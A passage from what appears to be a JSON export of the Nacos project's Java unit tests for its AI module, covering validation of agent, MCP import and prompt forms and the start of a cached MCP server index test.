\n    @Test\n    void queryPromptShouldRethrowWhenNon304Exception() throws NacosException {\n        PromptQueryForm form = new PromptQueryForm();\n        form.setPromptKey(\"p1\");\n        HttpServletResponse response = new MockHttpServletResponse();\n        when(promptClientOperationService.queryPrompt(\"public\", \"p1\", null, null, null))\n                .thenThrow(new NacosException(NacosException.NOT_FOUND, \"not found\"));\n        \n        assertThrows(NacosException.class, () -> controller.queryPrompt(form, response));\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/a2a/admin/AgentCardFormTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass AgentCardFormTest {\n    \n    @Test\n    void testValidateSuccess() throws NacosApiException {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setAgentCard(\"{\\\"name\\\":\\\"test-agent\\\"}\");\n        agentCardForm.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithEmptyAgentCardShouldThrowException() {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setAgentCard(\"\");\n        assertThrows(NacosApiException.class, agentCardForm::validate);\n    }\n    \n    @Test\n    void testValidateWithNullAgentCardShouldThrowException() {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setAgentCard(null);\n        assertThrows(NacosApiException.class, agentCardForm::validate);\n    }\n    \n    @Test\n    void testValidateShouldFillDefaultNamespaceIdAndRegistrationType() throws NacosApiException {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setAgentCard(\"{\\\"name\\\":\\\"test-agent\\\"}\");\n        agentCardForm.validate();\n        assertEquals(\"public\", agentCardForm.getNamespaceId());\n        assertEquals(\"URL\", agentCardForm.getRegistrationType());\n    }\n    \n    @Test\n    void testValidateWithValidRegistrationType() throws NacosApiException {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setAgentCard(\"{\\\"name\\\":\\\"test-agent\\\"}\");\n        agentCardForm.setRegistrationType(\"URL\");\n        agentCardForm.validate();\n        // Should not throw exception\n        \n        agentCardForm.setRegistrationType(\"SERVICE\");\n        agentCardForm.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithInvalidRegistrationTypeShouldThrowException() {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setAgentCard(\"{\\\"name\\\":\\\"test-agent\\\"}\");\n        agentCardForm.setRegistrationType(\"INVALID\");\n        assertThrows(NacosApiException.class, agentCardForm::validate);\n    }\n    \n    @Test\n    void testFillDefaultRegistrationType() {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.fillDefaultRegistrationType();\n        assertEquals(\"URL\", agentCardForm.getRegistrationType());\n    }\n    \n    @Test\n    void testFillDefaultRegistrationTypeWithExistingValue() {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        agentCardForm.setRegistrationType(\"SERVICE\");\n        agentCardForm.fillDefaultRegistrationType();\n        assertEquals(\"SERVICE\", agentCardForm.getRegistrationType());\n    }\n    \n    @Test\n    void testGetterAndSetter() {\n        AgentCardForm agentCardForm = new AgentCardForm();\n        \n        agentCardForm.setNamespaceId(\"test-namespace\");\n        agentCardForm.setAgentName(\"test-agent\");\n        agentCardForm.setVersion(\"1.0.0\");\n        agentCardForm.setRegistrationType(\"SERVICE\");\n        agentCardForm.setAgentCard(\"{\\\"name\\\":\\\"test-agent\\\"}\");\n        \n        assertEquals(\"test-namespace\", agentCardForm.getNamespaceId());\n        assertEquals(\"test-agent\", agentCardForm.getAgentName());\n        assertEquals(\"1.0.0\", agentCardForm.getVersion());\n        assertEquals(\"SERVICE\", agentCardForm.getRegistrationType());\n        assertEquals(\"{\\\"name\\\":\\\"test-agent\\\"}\", agentCardForm.getAgentCard());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/a2a/admin/AgentFormTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass AgentFormTest {\n    \n    @Test\n    void testValidateSuccess() throws NacosApiException {\n        AgentForm agentForm = new AgentForm();\n        agentForm.setAgentName(\"test-agent\");\n        agentForm.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithEmptyNameShouldThrowException() {\n        AgentForm agentForm = new AgentForm();\n        assertThrows(NacosApiException.class, agentForm::validate);\n    }\n    \n    @Test\n    void testValidateWithNullNameShouldThrowException() {\n        AgentForm agentForm = new AgentForm();\n        agentForm.setAgentName(null);\n        assertThrows(NacosApiException.class, agentForm::validate);\n    }\n    \n    @Test\n    void testFillDefaultNamespaceId() {\n        AgentForm agentForm = new AgentForm();\n        agentForm.fillDefaultNamespaceId();\n        assertEquals(\"public\", agentForm.getNamespaceId());\n    }\n    \n    @Test\n    void testFillDefaultNamespaceIdWithExistingValue() {\n        AgentForm agentForm = new AgentForm();\n        agentForm.setNamespaceId(\"test-namespace\");\n        agentForm.fillDefaultNamespaceId();\n        assertEquals(\"test-namespace\", agentForm.getNamespaceId());\n    }\n    \n    @Test\n    void testValidateShouldFillDefaultNamespaceId() throws NacosApiException {\n        AgentForm agentForm = new AgentForm();\n        agentForm.setAgentName(\"test-agent\");\n        agentForm.validate();\n        assertEquals(\"public\", agentForm.getNamespaceId());\n    }\n    \n    @Test\n    void testGetterAndSetter() {\n        AgentForm agentForm = new AgentForm();\n        \n        agentForm.setNamespaceId(\"test-namespace\");\n        agentForm.setAgentName(\"test-agent\");\n        agentForm.setVersion(\"1.0.0\");\n        agentForm.setRegistrationType(\"URL\");\n        \n        assertEquals(\"test-namespace\", agentForm.getNamespaceId());\n        assertEquals(\"test-agent\", agentForm.getAgentName());\n        assertEquals(\"1.0.0\", agentForm.getVersion());\n        assertEquals(\"URL\", agentForm.getRegistrationType());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/a2a/admin/AgentListFormTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.a2a.admin;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass AgentListFormTest {\n    \n    @Test\n    void testValidateWithAccurateSearch() throws NacosApiException {\n        AgentListForm agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setSearch(\"accurate\");\n        agentListForm.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithBlurSearch() throws NacosApiException {\n        AgentListForm agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setSearch(\"blur\");\n        agentListForm.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithUpperCaseSearch() throws NacosApiException {\n        AgentListForm agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setSearch(\"ACCURATE\");\n        agentListForm.validate();\n        // Should not throw exception\n        \n        agentListForm.setSearch(\"BLUR\");\n        agentListForm.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithInvalidSearchShouldThrowException() {\n        AgentListForm agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setSearch(\"invalid\");\n        assertThrows(NacosApiException.class, agentListForm::validate);\n    }\n    \n    @Test\n    void testValidateWithNullSearchShouldThrowException() {\n        AgentListForm agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setSearch(null);\n        assertThrows(NacosApiException.class, agentListForm::validate);\n    }\n    \n    @Test\n    void testValidateShouldFillDefaultNamespaceId() throws NacosApiException {\n        AgentListForm agentListForm = new AgentListForm();\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setSearch(\"accurate\");\n        agentListForm.validate();\n        assertEquals(\"public\", agentListForm.getNamespaceId());\n    }\n    \n    @Test\n    void testGetterAndSetter() {\n        AgentListForm agentListForm = new AgentListForm();\n        \n        agentListForm.setNamespaceId(\"test-namespace\");\n        agentListForm.setAgentName(\"test-agent\");\n        agentListForm.setVersion(\"1.0.0\");\n        agentListForm.setRegistrationType(\"URL\");\n        agentListForm.setSearch(\"accurate\");\n        \n        assertEquals(\"test-namespace\", agentListForm.getNamespaceId());\n        assertEquals(\"test-agent\", agentListForm.getAgentName());\n        assertEquals(\"1.0.0\", agentListForm.getVersion());\n        assertEquals(\"URL\", agentListForm.getRegistrationType());\n        assertEquals(\"accurate\", agentListForm.getSearch());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/mcp/admin/McpImportFormTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.mcp.admin;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpImportFormTest {\n    \n    @Test\n    void testValidateSuccessWithJsonType() throws NacosApiException {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"json\");\n        form.setData(\"{\\\"test\\\": \\\"data\\\"}\");\n        form.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateSuccessWithUrlType() throws NacosApiException {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"url\");\n        form.setData(\"http://example.com/registry.json\");\n        form.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateSuccessWithFileType() throws NacosApiException {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"file\");\n        form.setData(\"/path/to/registry.json\");\n        form.validate();\n        // Should not throw exception\n    }\n    \n    @Test\n    void testValidateWithEmptyImportTypeShouldThrowException() {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"\");\n        form.setData(\"{\\\"test\\\": \\\"data\\\"}\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void testValidateWithNullImportTypeShouldThrowException() {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(null);\n        form.setData(\"{\\\"test\\\": \\\"data\\\"}\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void testValidateWithEmptyDataShouldThrowException() {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"json\");\n        form.setData(\"\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void testValidateWithNullDataShouldThrowException() {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"json\");\n        form.setData(null);\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void testValidateWithInvalidImportTypeShouldThrowException() {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"invalid\");\n        form.setData(\"{\\\"test\\\": \\\"data\\\"}\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void testValidateShouldFillDefaultValue() throws NacosApiException {\n        McpImportForm form = new McpImportForm();\n        form.setImportType(\"json\");\n        form.setData(\"{\\\"test\\\": \\\"data\\\"}\");\n        form.validate();\n        assertEquals(\"public\", form.getNamespaceId());\n    }\n    \n    @Test\n    void testGetterAndSetter() {\n        McpImportForm form = new McpImportForm();\n        \n        // Test basic fields\n        form.setImportType(\"json\");\n        form.setData(\"{\\\"test\\\": \\\"data\\\"}\");\n        form.setOverrideExisting(true);\n        form.setValidateOnly(true);\n        form.setSkipInvalid(true);\n        form.setCursor(\"cursor123\");\n        form.setLimit(10);\n        form.setSearch(\"test\");\n        \n        String[] selectedServers = {\"server1\", \"server2\"};\n        form.setSelectedServers(selectedServers);\n        \n        assertEquals(\"json\", form.getImportType());\n        assertEquals(\"{\\\"test\\\": \\\"data\\\"}\", form.getData());\n        assertTrue(form.isOverrideExisting());\n        assertTrue(form.isValidateOnly());\n        assertTrue(form.isSkipInvalid());\n        assertArrayEquals(selectedServers, form.getSelectedServers());\n        assertEquals(\"cursor123\", form.getCursor());\n        assertEquals(10, form.getLimit());\n        assertEquals(\"test\", form.getSearch());\n    }\n    \n    @Test\n    void testDefaultValueOfBooleanFields() {\n        McpImportForm form = new McpImportForm();\n        \n        assertFalse(form.isOverrideExisting());\n        assertFalse(form.isValidateOnly());\n        assertFalse(form.isSkipInvalid());\n        assertNull(form.getSelectedServers());\n        assertNull(form.getCursor());\n        assertNull(form.getLimit());\n        assertNull(form.getSearch());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/prompt/PromptFormTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass PromptFormTest {\n    \n    @Test\n    void validateShouldFillDefaultNamespaceWhenNamespaceBlank() throws NacosApiException {\n        PromptForm form = new PromptForm();\n        form.setPromptKey(\"p1\");\n        form.validate();\n        assertEquals(\"public\", form.getNamespaceId());\n    }\n    \n    @Test\n    void validateShouldThrowWhenPromptKeyMissing() {\n        PromptForm form = new PromptForm();\n        assertThrows(NacosApiException.class, form::validate);\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/prompt/PromptHistoryFormTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass PromptHistoryFormTest {\n    \n    @Test\n    void validateShouldNormalizePageDefaultsWhenPageInvalid() throws NacosApiException {\n        PromptHistoryForm form = new PromptHistoryForm();\n        form.setPromptKey(\"p1\");\n        form.setPageNo(-1);\n        form.setPageSize(0);\n        \n        form.validate();\n        \n        assertEquals(1, form.getPageNo());\n        assertEquals(10, form.getPageSize());\n    }\n    \n    @Test\n    void validateShouldCapPageSizeToMax() throws NacosApiException {\n        PromptHistoryForm form = new PromptHistoryForm();\n        form.setPromptKey(\"p1\");\n        form.setPageSize(1000);\n        \n        form.validate();\n        \n        assertEquals(50, form.getPageSize());\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/prompt/PromptLabelBindFormTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass PromptLabelBindFormTest {\n    \n    @Test\n    void validateShouldThrowWhenLabelMissing() {\n        PromptLabelBindForm form = new PromptLabelBindForm();\n        form.setPromptKey(\"p1\");\n        form.setVersion(\"1.0.0\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void validateShouldThrowWhenVersionMissing() {\n        PromptLabelBindForm form = new PromptLabelBindForm();\n        form.setPromptKey(\"p1\");\n        form.setLabel(\"prod\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/prompt/PromptLabelFormTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass PromptLabelFormTest {\n    \n    @Test\n    void validateShouldThrowWhenLabelMissing() {\n        PromptLabelForm form = new PromptLabelForm();\n        form.setPromptKey(\"p1\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/prompt/PromptListFormTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass PromptListFormTest {\n    \n    @Test\n    void validateShouldThrowWhenSearchInvalid() {\n        PromptListForm form = new PromptListForm();\n        form.setSearch(\"invalid\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void validateShouldNormalizePageDefaultsWhenPageInvalid() throws NacosApiException {\n        PromptListForm form = new PromptListForm();\n        form.setPageNo(0);\n        form.setPageSize(0);\n        \n        form.validate();\n        \n        assertEquals(1, form.getPageNo());\n        assertEquals(10, form.getPageSize());\n        assertEquals(\"public\", form.getNamespaceId());\n    }\n    \n    @Test\n    void validateShouldCapPageSizeToMax() throws NacosApiException {\n        PromptListForm form = new PromptListForm();\n        form.setPageSize(999);\n        \n        form.validate();\n        \n        assertEquals(50, form.getPageSize());\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/form/prompt/PromptPublishFormTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\nclass PromptPublishFormTest {\n    \n    @Test\n    void validateShouldThrowWhenVersionMissing() {\n        PromptPublishForm form = new PromptPublishForm();\n        form.setPromptKey(\"p1\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void validateShouldThrowWhenVersionInvalid() {\n        PromptPublishForm form = new PromptPublishForm();\n        form.setPromptKey(\"p1\");\n        form.setVersion(\"1.0\");\n        assertThrows(NacosApiException.class, form::validate);\n    }\n    \n    @Test\n    void validateShouldPassWhenVersionValid() {\n        PromptPublishForm form = new PromptPublishForm();\n        form.setPromptKey(\"p1\");\n        form.setVersion(\"1.2.3\");\n        assertDoesNotThrow(form::validate);\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/index/AbstractMcpServerIndexTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\n/**\n * Unit tests for AbstractMcpServerIndex.searchMcpServerByNameWithOffset method.\n * Covers various combinations of offset, limit, and total count scenarios.\n *\n * @author xinluo\n */\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass AbstractMcpServerIndexTest {\n    \n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/index/CachedMcpServerIndexTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\nimport org.mockito.stubbing.Answer;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n/**\n * Unit tests for CachedMcpServerIndex.\n */\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass CachedMcpServerIndexTest {\n    \n    @Mock\n    private ConfigDetailService configDetailService;\n    \n    @Mock\n    private NamespaceOperationService namespaceOperationService;\n    \n    @Mock\n    private ConfigQueryChainService configQueryChainService;\n    \n    @Mock\n    private McpCacheIndex cacheIndex;\n    \n    @Mock\n    private ScheduledExecutorService scheduledExecutor;\n    \n    private CachedMcpServerIndex cachedIndex;\n    \n    @BeforeEach\n    void setUp() {\n        // Set system properties to enable cache\n        System.setProperty(\"nacos.mcp.cache.enabled\", \"true\");\n        System.setProperty(\"nacos.mcp.cache.sync.interval\", \"300\");\n        \n        cachedIndex = new CachedMcpServerIndex(configDetailService, namespaceOperationService, configQueryChainService,\n                cacheIndex, scheduledExecutor, true, 300);\n    }\n    \n    @Test\n    void testGetMcpServerByIdWithCacheHit() {\n        final String mcpId = \"test-id-123\";\n        final String namespaceId = \"test-namespace\";\n        \n        // 模拟缓存命中\n        McpServerIndexData cachedData = new McpServerIndexData();\n        cachedData.setId(mcpId);\n        cachedData.setNamespaceId(namespaceId);\n        when(cacheIndex.getMcpServerById(mcpId)).thenReturn(cachedData);\n        \n        // 执行查询\n        McpServerIndexData result = cachedIndex.getMcpServerById(mcpId);\n        \n        // 验证结果\n        assertNotNull(result);\n        assertEquals(mcpId, result.getId());\n        assertEquals(namespaceId, result.getNamespaceId());\n        \n        // 验证缓存被调用，数据库查询没有被调用\n        verify(cacheIndex).getMcpServerById(mcpId);\n        verify(configQueryChainService, never()).handle(any());\n    }\n    \n    @Test\n    void testGetMcpServerByIdWithCacheMiss() {\n        final String mcpId = \"test-id-123\";\n        final String namespaceId = \"test-namespace\";\n        \n        // 模拟缓存未命中\n        when(cacheIndex.getMcpServerById(mcpId)).thenReturn(null);\n        \n        // 模拟数据库查询结果\n        ConfigQueryChainResponse mockResponse = mock(ConfigQueryChainResponse.class);\n        when(mockResponse.getStatus()).thenReturn(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        when(configQueryChainService.handle(any(ConfigQueryChainRequest.class))).thenReturn(mockResponse);\n        \n        // 模拟命名空间列表\n        List<com.alibaba.nacos.api.model.response.Namespace> namespaceList = new ArrayList<>();\n        com.alibaba.nacos.api.model.response.Namespace namespace = new 